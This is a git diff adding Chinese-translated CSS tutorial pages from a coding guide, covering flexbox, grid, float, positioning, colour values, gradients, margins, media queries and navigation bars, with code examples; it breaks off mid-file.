+好吧，我们在css语法中添加了两个东西。
+
+HTML
+
+```html
+
+<p class = "ten">1</p> 
+ <p class = "twenty">2</p> 
+```
+
+CSS
+
+```css
+body { 
+  display:flex; 
+ } 
+ 
+ p { 
+  flex-grow: 1; 
+ } 
+```
+
+发生了两件事
+
+1.  通过`display:flex`将父容器转换为flex-display
+2.  然后剩余的“自由空间”以相等的比例分配给剩余的p容器，因为每个容器的flex-grow属性为1。
+
+如果我们有p容器具有不同的flex-grow属性会发生什么？
+
+我们来看一个例子吧。
+
+首先让我们创建两个段落并启用display：flex;
+
+![](https://i.imgur.com/wPqUgsih.png)
+
+注意一些事情
+
+*   配色方案很好
+*   两个盒子右边有一些空的空间。
+
+那个空的空间是“自由空间”，将根据它们的flex-grow属性分配给每个不同的段落。
+
+为了看到这一点，让第一个给出一个“十”类和一个flex-grow属性为1.让第二个给出一个“20”类和2个flex-grow属性。
+
+![](https://i.imgur.com/7n0V1G4h.png)
+
+注意一些事情
+
+1.  第二个的大小不是第一个的两倍，尽管flex-grow属性是第一个的两倍。
+2.  整个空间都充满了。 （一些边缘被添加到侧面以使其更清楚地被看到。）
+
+当我们调整屏幕大小时，我们还发现第一个缩小的速度是第二个缩小的两倍。
+
+![](https://i.imgur.com/pa4grM8h.png)
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/flexbox/flexbox-direction/index.md b/client/src/guide/chinese/css/layout/flexbox/flexbox-direction/index.md
new file mode 100644
index 0000000000..edc0fb6be4
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/flexbox/flexbox-direction/index.md
@@ -0,0 +1,33 @@
+---
+title: Flexbox Direction
+localeTitle: Flexbox方向
+---
+## Flexbox方向
+
+现在您已经知道了什么是flexbox，现在是时候继续介绍如何在Flex容器中安排内容了。您可以通过_flex-direction_设置它
+
+设置弯曲方向有4种方法
+
+1.  行
+
+![](https://css-tricks.com/wp-content/uploads/2013/04/flex-direction2.svg)
+
+弹性方向默认设置为行。这会将您的所有内容排列在一行**而没有边距**。****
+
+2.  行反向
+
+![](https://i-msdn.sec.s-msft.com/dynimg/IC681588.png)
+
+这会反转您的内容。最初是从左到右，现在是从右到左。
+
+3.  柱
+
+![](https://i-msdn.sec.s-msft.com/dynimg/IC681589.png)
+
+这会将您的内容从上到下排列在一列中。
+
+4.  列反向
+
+这会将您的内容从下到上排列在一列中。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/flexbox/index.md b/client/src/guide/chinese/css/layout/flexbox/index.md
new file mode 100644
index 0000000000..8b99564c7d
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/flexbox/index.md
@@ -0,0 +1,26 @@
+---
+title: Flexbox
+localeTitle: Flexbox的
+---
+## Flexbox的
+
+Flexbox是一种在CSS3中构建内容的新方法。它提供了一种创建响应式网站的绝佳方式，这些网站可以在不同的屏幕尺寸和订单内容中良
+
+使用flexbox有3个简单的步骤。
+
+1.  使用_display：flex;_将父容器转换为Flex容器_;_在css部分
+2.  使用_弯曲方向_调整不同容器的布置
+3.  使用诸如justify-content，align-items等属性调整单个项目。
+
+Flexbox Layout旨在提供一种更有效的方式来布置，对齐和分配容器中项目之间的空间，即使它们的大小未知和/或动态（因此单词“flex”）.flex布局背后的主要思想是让容器能够改变其物品的宽度/高度（和顺序），以最好地填充可用空间。 ![flexUsage](https://cdn.css-tricks.com/wp-content/uploads/2011/08/flexbox.png)
+
+*   **主轴** ：柔性容器的主轴是主轴，柔性项目沿着主轴布置。要注意，它不一定是水平的;它取决于flex-direction属性（见下文）。
+*   **主要开始| main-end** flex项目放在容器中，从main-start开始到main-end。
+：*   **主要大小** ：弹性项目的宽度或高度（主要维度中的任何一个）是项目的主要大小。弹性项目的主要大小属性是“宽度”或“高度”属性，以主要维度中的任何一个为准。
+*   **横轴** ：垂直于主轴的轴称为横轴。其方向取决于主轴方向。
+*   **交叉开始|交叉端** ：柔性线用物品填充，并从柔性容器的交叉开始侧开始放入容器中，并朝向交叉端侧。
+*   **十字大小** ：弹性项目的宽度或高度（以交叉维度中的任何一个为单位）是项目的交叉大小。十字尺寸属性是横向尺寸中的“宽度”或“高度”中的任何一个。
+
+#### 更多信息：
+
+[这是一篇很好的文章，](https://medium.freecodecamp.org/an-animated-guide-to-flexbox-d280cf6afc35)可以阅读以了解有关flexbox的更多信息 这是一个强烈推荐的实用指南，说明了应用于Flex容器和flex项目的不同flex属性： [https](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) ： [//css-tricks.com/snippets/css/a-guide-to-flexbox/](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/float-and-clear/index.md b/client/src/guide/chinese/css/layout/float-and-clear/index.md
new file mode 100644
index 0000000000..e33f9345d6
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/float-and-clear/index.md
@@ -0,0 +1,71 @@
+---
+title: Float and Clear
+localeTitle: 漂浮和清除
+---
+## 漂浮和清除
+
+CSS `float`属性指定元素应如何浮动。
+
+CSS `clear`属性指定哪些元素可以浮动在已清除元素旁边以及哪一侧。
+
+### `float`属性
+
+`float`属性用于在网页上进行定位和布局。
+
+`float`属性可以具有以下值之一：
+
+`left` - 元素浮动到其容器的左侧 `right` - 元素浮动到其容器的右侧 `none` - 元素不浮动（将显示在文本中出现的位置）。这是默认的 `inherit` - 该元素继承其父级的float值 在最简单的用法中， `float`属性可用于在图像周围包装文本。
+
+#### 漂浮在图片中：
+
+![float image for print layout](https://github.com/jamal-pb95/guides/blob/master/assets/css3-float-print-layout.png "CSS-花招浮动IMG")
+```
+img { 
+    float: right; 
+ } 
+```
+
+此示例指定图像应在页面中向右浮动：
+
+![Float image for web layout](https://github.com/jamal-pb95/guides/blob/master/assets/css3-float-web-text-wrap.png "浮动img web")
+```
+img { 
+    float: left; 
+ } 
+```
+
+此示例指定图像应在页面中向左浮动：
+```
+img { 
+    float: none; 
+ } 
+```
+
+在下面的示例中，图像将显示在文本中出现的位置（ `float: none;` ）：
+
+### `clear`财产
+
+`clear`属性指定哪些元素可以浮动在已清除元素旁边以及哪一侧。
+
+`clear`属性可以具有以下值之一：
+
+`none` - 允许两侧浮动元素。这是默认的 `left` - `left`不允许浮动元素 `right` - `right`不允许浮动元素 `both` - 左侧或右侧不允许浮动元素 `inherit` - 元素继承其父级的clear值 使用`clear`属性的最常用方法是在元素上使用`float`属性之后。
+
+清除浮动时，应将`clear`与`float`匹配。如果元素浮动到`left` ，那么您应该`left` `clear` 。您的浮动元素将继续`float` ，但清除的元素将显示在网页下方。
+
+#### 例：
+
+![unclear footer image](https://github.com/jamal-pb95/guides/blob/master/assets/unclearedfooter.png "不清楚的页脚图像") 资料来源：CSS-TRICS
+```
+div { 
+    clear: left; 
+ } 
+```
+
+![clear footer image](https://github.com/jamal-pb95/guides/blob/master/assets/clearedfooter.png "清晰的页脚图像") 资料来源：CSS-TRICS
+
+### 其他资源：
+
+*   MDN CSS： [Float](https://developer.mozilla.org/en-US/docs/Web/CSS/float) ＆ [Clear](https://developer.mozilla.org/en-US/docs/Web/CSS/clear)
+*   [W3Schools教程](https://www.w3schools.com/css/css_float.asp)
+*   CSS-Tricks： [浮动](https://css-tricks.com/all-about-floats/)和[清除](https://css-tricks.com/almanac/properties/c/clear/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/grid-layout/index.md b/client/src/guide/chinese/css/layout/grid-layout/index.md
new file mode 100644
index 0000000000..060c038cfd
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/grid-layout/index.md
@@ -0,0 +1,148 @@
+---
+title: Grid Layout
+localeTitle: 网格布局
+---
+## 网格布局
+
+CSS Grid Layout，简称为Grid，是一种CSS中最新，最强大的布局方案。它[受到所有主流浏览器的支持，](https://caniuse.com/#feat=css-grid)并提供了一种在页面上定位项目并移动它们的方法。
+
+它可以自动将项目分配给_区域_ ，大小和调整大小，根据您定义的模式创建列和行，并使用新引入的`fr`单元进行所有计算。
+
+### 为何选择Grid？
+
+*   您可以轻松拥有一个带有一行CSS的12列网格。 `grid-template-columns: repeat(12, 1fr)`
+*   Grid允许您向任何方向移动物体。与Flex不同，您可以在其中水平（ `flex-direction: row` ）或垂直（ `flex-direction: column` ）移动项目 - 不能同时移动两者，Grid允许您将任何_网格项目_移动到页面上的任何预定义_网格区域_ 。您移动的物品不必相邻。
+*   使用CSS Grid，您可以**仅使用CSS更改HTML元素的顺序** 。从顶部向右移动某些内容，将页脚中的元素移动到侧边栏等。而不是在HTML中将`<div>`从`<footer>`到`<aside>` ，而只需在`grid-area`中更改它的位置即可。 CSS样式表。
+
+### 网格与Flex
+
+*   Flex是一维的 - 水平或垂直，而Grid是二维的，这意味着您可以在水平和垂直平面中移动元素
+*   在Grid中，我们将布局样式应用于父容器而不是项目。另一方面，Flex以flex项为目标来设置`flex-basis` ， `flex-grow`和`flex-shrink`等属性
+*   Grid和Flex不是互斥的。您可以在同一个项目中使用它们。
+
+### 使用`@supports`检查浏览器兼容性
+
+理想情况下，在构建站点时，您可以使用Grid进行设计，并使用Flex作为后备。您可以通过`@support` CSS规则（也就是要素查询）查看您的浏览器是否支持网格。这是一个例子：
+
+```css
+.container { 
+  display: grid; /* display grid by default */ 
+ } 
+ 
+ @supports not (display: grid) { /* if grid is not supported by the browser */ 
+  .container { 
+    display: flex; /* display flex instead of grid */ 
+  } 
+ } 
+```
+
+### 入门
+
+要使任何元素成为网格，您需要将其`display`属性分配给`grid` ，如下所示：
+
+```css
+.conatiner { 
+  display: grid; 
+ } 
+```
+
+就是这样。你刚刚把你的`.container`了一个网格。 `.container`每个元素`.container`自动成为网格项。
+
+### 定义模板
+
+行和列
+
+```css
+grid-template-columns: 1fr 1fr 1fr 1fr; 
+ grid-template-rows: auto 300px; 
+```
+
+地区
+
+```css
+grid-template-areas: 
+  "aaaa" 
+  "bcde" 
+  "bcde" 
+  "ffff"; 
+```
+
+要么
+
+```css
+grid-template-areas: 
+  "header header header header" 
+  "nav main main sidebar"; 
+```
+
+### 网格区域
+
+这里有一些关于如何定义和分配网格区域的示例代码
+
+```css
+.site { 
+  display: grid; 
+  grid-template-areas: /* applied to grid container */ 
+    "head head" /* you're assigning cells to areas by giving the cells an area name */ 
+    "nav  main" /* how many values kind of depends on how many cells you have in the grid */ 
+    "nav  foot"; 
+ } 
+ 
+ .site > header { 
+  grid-area: head; 
+ } 
+ 
+ .site > nav { 
+  grid-area: nav; 
+ } 
+ 
+ .site > main { 
+    grid-area: main; 
+ } 
+ 
+ .site > footer { 
+    grid-area: foot; 
+ } 
+```
+
+### `fr`单位
+
+Grid引入了一个新的`fr`单元，代表_分数_ 。使用`fr`单元的好处在于它可以为您完成计算。使用`fr`可以避免边距和填充问题。使用`%`和`em`等，它在计算`grid-gap`时成为数学方程式。如果你使用了`fr`单位，它会自动计算柱子和装订线尺寸，并相应地调整柱子的大小，加上最后也没有出血间隙。
+
+### 例子
+
+#### 根据屏幕大小更改元素的顺序
+
+假设你想要在小屏幕上将页脚移动到底部，在大屏幕上向右移动，并且在两者之间还有一堆其他HTML元素。
+
+简单的解决方案是根据屏幕大小更改`grid-template-areas` 。您也可以**根据屏幕大小更改列数和行数** 。这是Bootstrap网格系统（ `col-xs-8 col-sm-6 col-md-4 col-lg-3` ）的一种更简洁，更简单的替代方案。
+
+```css
+.site { 
+  display: grid; 
+  grid-template-columns: 1fr 1fr; 
+  grid-template-areas: 
+    "title title" 
+    "main header" 
+    "main sidebar" 
+ } 
+ 
+ @media screen and (min-width: 34em) { /* If the screen is big enough, use a different template for grid areas */ 
+  .site { 
+    grid-template-columns: 2fr 1fr 1fr; 
+    grid-template-areas: 
+      "title title title" 
+      "main header header" 
+      "main sidebar footer" 
+  } 
+ } 
+```
+
+请参阅[CodePen](https://codepen.io/aamnah)上的[Aamnah](https://codepen.io) Akram（ [@aamnah](https://codepen.io/aamnah) ） [的示例 -](https://codepen.io/aamnah/pen/RLVVoE/) Pen [CSS Grid - 2（网格区域+网格间隙）](https://codepen.io/aamnah/pen/RLVVoE/) 。
+
+#### 更多信息：
+
+*   [Mozilla的CSS Grid Palyground](https://mozilladevelopers.github.io/playground/)如果您是CSS Grids的新手，那么这是一个很好的起点。它具有视觉效果，可帮助您轻松理解术语
+*   [YouTube：Morten Rand-Hendriksen：CSS Grid改变了一切（关于Web布局）](https://www.youtube.com/watch?v=txZq7Laz7_4)这个演示文稿将在不到一个小时的时间内为您提供CSS Grids为什么很酷以及为什么/如何使用它们
+*   [视频：学习网格布局视频系列由Rachel Andrew](https://gridbyexample.com/video/) Rachel Andrew被认为是该主题的专家。视频标题可能看起来很陌生而且势不可挡，但内容很短且非常重要
+*   [书：Rachel Andrew为CSS网格布局做好准备](https://abookapart.com/products/get-ready-for-css-grid-layout)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/index.md b/client/src/guide/chinese/css/layout/index.md
new file mode 100644
index 0000000000..eb31002a71
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/index.md
@@ -0,0 +1,11 @@
+---
+title: Layout
+localeTitle: 布局
+---
+## 布局
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/layout/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/inline-block/index.md b/client/src/guide/chinese/css/layout/inline-block/index.md
new file mode 100644
index 0000000000..4651df6866
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/inline-block/index.md
@@ -0,0 +1,11 @@
+---
+title: Inline Block
+localeTitle: 内联块
+---
+## 内联块
+
+内联块是display属性的可能值。 标记为_内联块的_元素的行为类似于内联元素（例如， _跨度_ ），但可以具有宽度和高度。
+
+#### 更多信息：
+
+[这是一篇很好的文章，](https://css-tricks.com/almanac/properties/d/display/#inline-block)可以阅读以了解有关使用内联块元素创建布局的更多信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/layout/the-position-property/index.md b/client/src/guide/chinese/css/layout/the-position-property/index.md
new file mode 100644
index 0000000000..340efdf6d2
--- /dev/null
+++ b/client/src/guide/chinese/css/layout/the-position-property/index.md
@@ -0,0 +1,19 @@
+---
+title: The Position Property
+localeTitle: 职位属性
+---
+## 职位属性
+
+position属性指定用于元素的定位方法的类型（静态，相对，固定，绝对或粘性）。 position属性指定用于元素的定位方法的类型。 position proprty通常不用于创建布局，而是用于定位以某种方式从页面流中突出的元素。
+
+有五种不同的头寸值：
+
+*   静态的
+*   相对的
+*   固定
+*   绝对
+*   黏 然后使用top，bottom，left和right属性定位元素。但是，除非首先设置position属性，否则这些属性将不起作用。它们的工作方式也取决于位置值。
+
+#### 更多信息：
+
+[这是一篇很好的文章，](https://www.w3schools.com/css/css_positioning.asp)可以阅读以了解有关position属性的更多信息。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/legal-color-values/index.md b/client/src/guide/chinese/css/legal-color-values/index.md
new file mode 100644
index 0000000000..d4363c5150
--- /dev/null
+++ b/client/src/guide/chinese/css/legal-color-values/index.md
@@ -0,0 +1,223 @@
+---
+title: Legal Color Values
+localeTitle: 法律颜色值
+---
+## 法律颜色值
+
+CSS中的颜色可以用以下格式指定：
+
+*   [十六进制](#hexadecimal-colors)
+*   [RGB](#rgb-colors)
+*   [RGBA](#rgba-colors)
+*   [HSL](#hsl-colors)
+*   [HSLA](#hsla-colors)
+*   [预定义的颜色名称](#predefined-color-names)
+
+### 十六进制颜色
+
+#### 浏览器支持
+
+所有主流浏览器都支持十六进制颜色值。
+
+#### 格式
+
+十六进制值指定为**#RRGGBB** ，其中RR（红色），GG（绿色）和BB（蓝色）十六进制整数指定颜色的分量。所有值必须介于00和FF之间。顾名思义，编码基于16。
+
+#### 例
+
+这是不同的六角形颜色。在https://jsfiddle.net/qg9revp4/2/上找到实时示例。
+
+```css
+#divRed{ 
+  color: #ff0000; /* red */ 
+ } 
+ 
+ #divGreen{ 
+  color: #00ff00; /* green */ 
+ } 
+ 
+ #divBlue{ 
+  color: #0000ff; /* blue */ 
+ } 
+ 
+ #divWhite{ 
+  color: #ffffff; /* white */ 
+  background: #000000; /* black background, so that the text is visible */ 
+ } 
+```
+
+### RGB颜色
+
+#### 浏览器支持
+
+所有主流浏览器都支持RGB值。
+
+#### 格式
+
+RGB值指定为**rgb（红色，绿色，蓝色）** 。每个参数（红色，绿色和蓝色）定义颜色的强度，可以是0到255之间的整数。
+
+#### 例
+
+这是不同的RGB颜色。在https://jsfiddle.net/vspepeth/1/上找到实时示例。
+
+```css
+#divRed{ 
+  color: rgb(255, 0, 0); /* red */ 
+ } 
+ 
+ #divGreen{ 
+  color: rgb(0, 255, 0); /* green */ 
+ } 
+ 
+ #divBlue{ 
+  color: rgb(0, 0, 255); /* blue */ 
+ } 
+ 
+ #divWhite{ 
+  color: rgb(255, 255, 255); /* white */ 
+  background: rgb(0, 0, 0); /* black background, so that the text is visible */ 
+ } 
+```
+
+### RGBA颜色
+
+#### 浏览器支持
+
+IE9 +，Firefox 3 +，Chrome，Safari和Opera 10+支持RGBA颜色值。
+
+#### 格式
+
+RGBA值指定为**rgb（红色，绿色，蓝色，alpha）** 。可以把它想象成RGB格式的扩展，带有alpha通道。 alpha参数是介于0.0（完全透明）和1.0（完全不透明）之间的数字。其他参数（红色，绿色和蓝色）定义颜色的强度，可以是0到255之间的整数。
+
+#### 例
+
+这是不同的RGBA颜色。在https://jsfiddle.net/hq0ngwg2/1/上找到实时示例。
+
+```css
+#divRed{ 
+  color: rgba(255, 0, 0, 0.3); /* red with opacity */ 
+ } 
+ 
+ #divGreen{ 
+  color: rgba(0, 255, 0, 0.7); /* green with opacity */ 
+ } 
+ 
+ #divBlue{ 
+  color: rgba(0, 0, 255, 0.5); /* blue with opacity */ 
+ } 
+ 
+ #divWhite{ 
+  color: rgba(255, 255, 255, 0.6); /* white with opacity */ 
+  background: rgba(0, 0, 0, 0.8); /* black background with opacity */ 
+ } 
+```
+
+### HSL颜色
+
+#### 浏览器支持
+
+IE9 +，Firefox，Chrome，Safari和Opera 10+支持HSL颜色值。
+
+#### 格式
+
+HSL代表色调，饱和度和亮度。它被指定为**hsl（色调，饱和度，亮度）** 。
+
+*   **色调** ：它是色轮上的度数（从0到360）。 _0_ （或_360_ ）为红色， _120_为绿色， _240_为蓝色。
+    
+*   **饱和度** ：这是一个百分比值。 _0％_表示灰色阴影， _100％_表示全彩色。
+    
+*   **亮度** ：它也是一个百分比值。 _0％_为黑色， _100％_为白色。
+    
+
+#### 例
+
+以下是[W3.org的](https://www.w3.org/TR/css3-color/#hsl-color)表格。每个表代表一种色调。从色环中选择了十二个等间距的颜色（即以30°间隔）。每个表的X轴表示饱和度（100％，75％，50％，25％，0％）。 Y轴表示亮度。 50％是“正常”。
+
+![HSL表](https://image.ibb.co/ngq686/hsl.png)
+
+在https://jsfiddle.net/g10zpL28/1/上找到实时示例。
+
+```css
+#div1 { 
+  background-color: hsl(240, 100%, 50%); /* blue */ 
+ } 
+ #div2 { 
+  background-color: hsl(195, 53%, 79%); /* light blue */ 
+ } 
+ #div3 { 
+  background-color: hsl(240, 100%, 25%); /* dark blue */ 
+ } 
+ #div4 { 
+  background-color: hsl(187, 75%, 86%); /* pastel blue */ 
+ } 
+```
+
+### HSLA颜色
+
+#### 浏览器支持
+
+IE9 +，Firefox 3 +，Chrome，Safari和Opera 10+支持HSLA颜色值。
+
+#### 格式
+
+HSLA代表色调，饱和度，亮度和alpha通道。它被指定为**hsla（色调，饱和度，亮度，alpha）** 。 Alpha通道指定颜色的不透明度。
+
+*   **色调** ：它是色轮上的度数（从0到360）。 _0_ （或_360_ ）为红色， _120_为绿色， _240_为蓝色。
+    
+*   **饱和度** ：这是一个百分比值。 _0％_表示灰色阴影， _100％_表示全彩色。
+    
+*   **亮度** ：它也是一个百分比值。 _0％_为黑色， _100％_为白色。
+    
+*   **Alpha通道** ：它是0.0（完全透明）和1.0（完全不透明）之间的数字。
+    
+
+#### 例
+
+以下是HSLA颜色的示例。请访问https://jsfiddle.net/2Lxscgfy/1/查看它们。
+
+```css
+#div1 { 
+  background-color: hsla(240, 100%, 50%, 0.5); /* blue with transparency */ 
+ } 
+ #div2 { 
+  background-color: hsla(195, 53%, 79%, 0.8); /* light blue with transparency */ 
+ } 
+ #div3 { 
+  background-color: hsla(240, 100%, 25%, 0.3); /* dark blue with transparency */ 
+ } 
+ #div4 { 
+  background-color: hsla(187, 75%, 86%, 1.0); /* pastel blue with transparency */ 
+ } 
+```
+
+### 预定义的颜色名称
+
+#### 浏览器支持
+
+在CSS颜色规范中预定义了147种颜色名称。所有现代浏览器都支持它们
+
+#### 例
+
+以下是一些正在使用的颜色名称。查看https://jsfiddle.net/rqygumpy/上的实例。在[MDN文档中](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#Color_keywords)查找整个列表。
+
+```css
+#div1{ 
+  color: BlueViolet; 
+ } 
+ 
+ #div2{ 
+  color: RebeccaPurple; 
+ } 
+ 
+ #div3{ 
+  color: RoyalBlue; 
+ } 
+ 
+ #div4{ 
+  color: Salmon; 
+ } 
+```
+
+#### 更多信息：
+
+[CSS颜色的MDN Web文档](https://developer.mozilla.org/en-US/docs/Web/CSS/color)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/linear-gradient/index.md b/client/src/guide/chinese/css/linear-gradient/index.md
new file mode 100644
index 0000000000..c4ed14f6e3
--- /dev/null
+++ b/client/src/guide/chinese/css/linear-gradient/index.md
@@ -0,0 +1,91 @@
+---
+title: Linear Gradient
+localeTitle: 线性梯度
+---
+## 线性梯度
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/css/linear-gradient/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
+
+在“线性渐变”中，颜色沿单个方向流动，即 - 从左到右，从上到下，或您选择的任何角度。
+
+![具有两种颜色停止的渐变](https://cdn.discordapp.com/attachments/261391445074771978/371707961422118912/image.png)
+
+**具有两个色标的线性渐变**
+
+### 句法-
+
+要创建线性渐变，您必须定义至少两个色标（它们是在其中创建过渡的颜色）。它在**背景**或**背景图像**属性上声明。
+```
+background: linear-gradient(direction, colour-stop1, colour-stop2, ...); 
+```
+
+**注意：如果未指定方向，则默认情况下转换为“从上到下”**
+
+### 不同的梯度过渡 -
+
+**从上到下 ：**
+```
+background: linear-gradient(red, yellow); 
+```
+
+![从上到下](https://cdn.discordapp.com/attachments/261391445074771978/371702268803809301/image.png)
+
+**左到右 ：**
+
+为了使左到右，你在直线梯度（开始时添加一个额外的参数）开始用这个词**来**指示方向：
+```
+background: linear-gradient(to right, red , yellow); 
+```
+
+![左到右](https://cdn.discordapp.com/attachments/261391445074771978/371702990161051648/image.png)
+
+**对角线位置：**
+
+您还可以通过指定水平和垂直起始位置（例如，左上角或右下角）来对角移动渐变。
+
+这是从左上角开始的渐变样本 -
+```
+ background: linear-gradient(to bottom right, red, yellow); 
+```
+
+![左上方](https://cdn.discordapp.com/attachments/261391445074771978/371705382105776128/image.png)
+
+### 使用角度指定渐变的方向 -
+
+您还可以使用角度，以更准确地指定渐变的方向：
+```
+background: linear-gradient(angle, colour-stop1, colour-stop2); 
+```
+
+角度被指定为水平线和梯度线之间的角度。
+```
+background: linear-gradient(90deg, red, yellow); 
+```
+
+![90度](https://cdn.discordapp.com/attachments/261391445074771978/371710718698848256/image.png)
+
+### 使用两种以上的颜色 -
+
+您不仅限于两种颜色，您可以根据需要使用尽可能多的逗号分隔颜色。
+```
+background: linear-gradient(red, yellow, green); 
+```
+
+![具有3色停止的渐变](https://cdn.discordapp.com/attachments/261391445074771978/371706534591201281/image.png)
+
+您还可以使用其他颜色语法（如RGB或十六进制代码）来指定颜色。
+
+### 硬色停止 -
+
+您不仅可以使用渐变来渐变颜色，还可以使用渐变颜色立即从一种纯色转换为另一种纯色
+```
+background: linear-gradient(to right,red 15%, yellow 15%); 
+```
+
+![硬色停止](https://cdn.discordapp.com/attachments/261391445074771978/371716730046775318/image.png)
+
+**更多信息** [\- Mozilla Docs上的线性渐变](https://developer.mozilla.org/en-US/docs/Web/CSS/linear-gradient)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/margins/index.md b/client/src/guide/chinese/css/margins/index.md
new file mode 100644
index 0000000000..c77c9b147d
--- /dev/null
+++ b/client/src/guide/chinese/css/margins/index.md
@@ -0,0 +1,60 @@
+---
+title: Margins
+localeTitle: 边距
+---
+# 边距
+
+`margin` CSS属性设置元素所有四边的边距区域。此属性可用于生成内容周围的空间（边框外）。这是一次设置所有单个边距的简写： `margin-top` ， `margin-right` ， `margin-bottom`和`margin-left` 。值以顺时针方向定义。
+
+保证金值使用长度或百分比或`auto`或`inherit`关键字设置，并且可以接受零或负值。所有边距属性的初始值或默认值为0.虽然可以使用`inherit`关键字但不能与长度值一起使用。
+
+## 句法
+
+```css
+.element { 
+    margin: margin-top || margin-right || margin-bottom || margin-left; 
+ } 
+```
+
+可以使用一个，两个，三个或四个值指定此属性。
+
+*   指定一个值时，它会对所有四个边应用相同的边距。
+*   指定两个值时，第一个边距适用于顶部和底部，第二个边距适用于左侧和右侧。
+*   指定三个值时，第一个边距适用于顶部，第二个边缘适用于左侧和右侧，第三个边距适用于底部。
+*   指定四个值时，边距按顺序应用于顶部，右侧，底部和左侧（顺时针）。
+
+```css
+/* Apply to all four sides */ 
+ margin: 1em; 
+ 
+ /* top and bottom | left and right */ 
+ margin: 5% 10%; 
+ 
+ /* top | left and right | bottom */ 
+ margin: 1em 2em 2em; 
+ 
+ /* top | right | bottom | left */ 
+ margin: 5px 1em 0 1em; 
+```
+
+## 箱式模型在哪里
+
+CSS中的margin属性定义了box模型的最外层部分，在任何已定义的填充和/或边框之外创建元素内容周围的空间。
+
+![CSS Box模型](https://www.w3.org/TR/css3-box/box.png)
+
+## 利润率下降
+
+相互接触的不同元素上的垂直边距（因此没有内容，填充或边界将它们分开）将崩溃，形成单个边距，该边距等于相邻边距中的较大边距。这不会发生在水平边缘（左和右），只有垂直（顶部和底部）。
+
+## 浏览器支持
+
+它在所有浏览器中得到有效支持（因为IE6 +，Firefox 2 +，Chrome 1+等）
+
+### 更多信息
+
+*   [W3C工作草案](https://www.w3.org/TR/css3-box/#the-margin)
+*   [W3C CSS Level 2](https://www.w3.org/TR/CSS2/box.html#propdef-margin)
+*   [W3C CSS Level 1](https://www.w3.org/TR/CSS1/#margin)
+*   [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/CSS/margin)
+*   [CSS技巧](https://css-tricks.com/almanac/properties/m/margin/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/media-queries/index.md b/client/src/guide/chinese/css/media-queries/index.md
new file mode 100644
index 0000000000..bdd5932044
--- /dev/null
+++ b/client/src/guide/chinese/css/media-queries/index.md
@@ -0,0 +1,31 @@
+---
+title: Media Queries
+localeTitle: 媒体查询
+---
+#### 推荐阅读：
+
+[使用媒体查询 - MDN Web文档](https://developer.mozilla.org/en-US/docs/Web/CSS/Media_Queries/Using_media_queries)
+
+另请参阅Beta版的[响应式Web设计原则](https://github.com/freeCodeCamp/freeCodeCamp/blob/staging/seed/challenges/01-responsive-web-design/responsive-web-design.json)部分
+
+#### 条款草案：
+
+媒体查询是定义CSS属性的一组规则。您可以设置媒体查询，以根据内容的查看方式更改内容的外观。
+
+媒体查询可以确定您的内容在不同显示中的外观。不同显示器的一些示例是：计算机屏幕上的图像，打印文本或音频屏幕阅读器中的网页。
+
+在网页中，某些元素可能无法在不同的屏幕尺寸上一致显示。您可以使用媒体查询为小屏幕和大屏幕设置特殊规则。
+
+以下是在电话屏幕上设置正文文本大小的媒体查询示例：
+
+```css
+@media screen and (max-width: 450px) { 
+ body { 
+   font-size: 12px; 
+  } 
+ } 
+```
+
+此媒体查询规定，对于宽度最大为450像素的屏幕，正文文本应以12px字体大小显示。
+
+媒体查询可以在[响应式网页设计中提供](https://guide.freecodecamp.org/html/responsive-web-design)帮助。
\ No newline at end of file
diff --git a/client/src/guide/chinese/css/navigation-bars/index.md b/client/src/guide/chinese/css/navigation-bars/index.md
new file mode 100644
index 0000000000..d1a6beda74
--- /dev/null
+++ b/client/src/guide/chinese/css/navigation-bars/index.md
@@ -0,0 +1,66 @@
+---
+title: Navigation Bars
+localeTitle: 导航栏
+---
+## 导航栏
+
+导航栏是任何网站的一个非常重要的元素。它们通过提供到用户的主链接列表来提供主要的导航方法。有许多方法可以创建导航栏。创建导航栏的最简单方法是使用无序列表并使用CSS设置样式。
+
+导航栏主要由水平排列和样式化的`<ul>`列表组成。
+
+在设置导航栏样式时，通常会删除由`<ul>`和`<li>`标记创建的额外间距以及自动插入的项目符号：
+
+```css
+   list-style-type: none; 
+   margin: 0px; 
+   padding: 0px; 
+```
+
+**例：**
+
+任何导航都有两个部分：HTML和CSS。这只是一个简单的例子。
+
+```html
+
+<nav class="myNav">                                 <!-- Any element can be used here --> 
+    <ul> 
+        <li><a href="index.html">Home</a></li> 
+        <li><a href="about.html">About</a></li> 
+        <li><a href="contact.html">Contact</a></li> 
+    </ul> 
+ </nav> 
+```
+
+```css
+/* Define the main Navigation block */ 
+ .myNav { 
+    display: block; 
+    height: 50px; 
+    line-height: 50px; 
+    background-color: #333; 
+ } 
+ /* Remove bullets, margin and padding */ 
+ .myNav ul { 
+    list-style: none; 
+    padding: 0; 
+    margin: 0; 
+ } 
+ .myNav li { 
+    float: left; 
+    /* Or you can use display: inline; */ 
+ } 
